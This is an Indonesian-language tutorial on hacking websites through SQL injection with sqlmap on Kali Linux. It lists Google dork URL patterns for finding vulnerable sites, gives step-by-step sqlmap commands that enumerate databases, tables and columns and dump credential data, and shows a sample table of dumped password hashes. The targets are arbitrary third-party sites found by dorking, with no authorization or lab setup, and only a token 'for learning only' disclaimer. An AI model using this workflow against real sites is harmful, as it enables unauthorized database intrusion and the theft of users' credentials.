SQLMAP sendiri adalah sebuah alat penetrasi open source untuk menguji & mengotomatisasi proses deteksi lalu bisa mengeksploitasi kelemahan SQL injection dan mengambil alih server database. Jadi setelah kita mengetahui tentang kejelasan SQLi tersebut langsung saja praktekan Cara Hack Website dengan SQL injection Kali Linux.
Hack Website dengan SQL injection Kali Linux
Langkah awal yang harus kamu lakukan yakni mencari target website yang memiliki kerentanan sql injection dengan bisa memakai dork google/bing yang kami sediakan.
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id= Kemudian pada terminal linux masukan perintah ini
sqlmap -u http://target.com/contoh.php?id=1 --dbsKamu dapat mengganti website target sesuai website yang sudah kamu dapatkan dari pencarian dork yang memiliki bug sql injection seperti diatas.
Selanjutnya tekan enter dan tunggu sampai sqlmap mendapat informasi database target biasanya akan memakan waktu tergantung juga dari koneksi yang kamu pakai, Sesudah itu nantinya kamu akan mendapatkan database target & langkah selanjutnya menampilkan tables database denga ketikan perintah.
sqlmap -u http://target.com/contoh.php?id=1 -D namadatabase --tablesSetelah itu tekan enter dan tunggu beberapa saat sampai sqlmap mendapatkan tables dari database website tersebut jika sudah maka akan tampil tables database website tersebut langkah selanjutnya kita jalankan perintah untuk mengetahui isi columns dari tables database tersebut dengan perintah
sqlmap -u http://target.com/contoh.php?id=1 -D namadatabase -T namatables --columnssqlmap -u http://website-target.com/contoh.php?id=1 -D namadatabase -T namatables -C namacolumn,namacolumn2 --dump+--------------------------+----------------------------------+ | uname | Pass +-------------------------+-----------------------------------+ | 210cf7aa5e2682c9c9d4511f88fe2789 | 8be3c943b1609fffbfc51aad666d0a04adf83c9d +-------------------------+-----------------------------------+
Seperti yang sudah dijelaskan diatas, Jika ingin mendapatkan banyak website vuln. Kamu harus mencari ide dork. Share tentang Sql Injection Dengan SQLMAP Kali Linux hanya untuk pembelajaran dan mohon jangan di salahgunakan. Sekian Tutorial kali ini semoga bermanfaat.
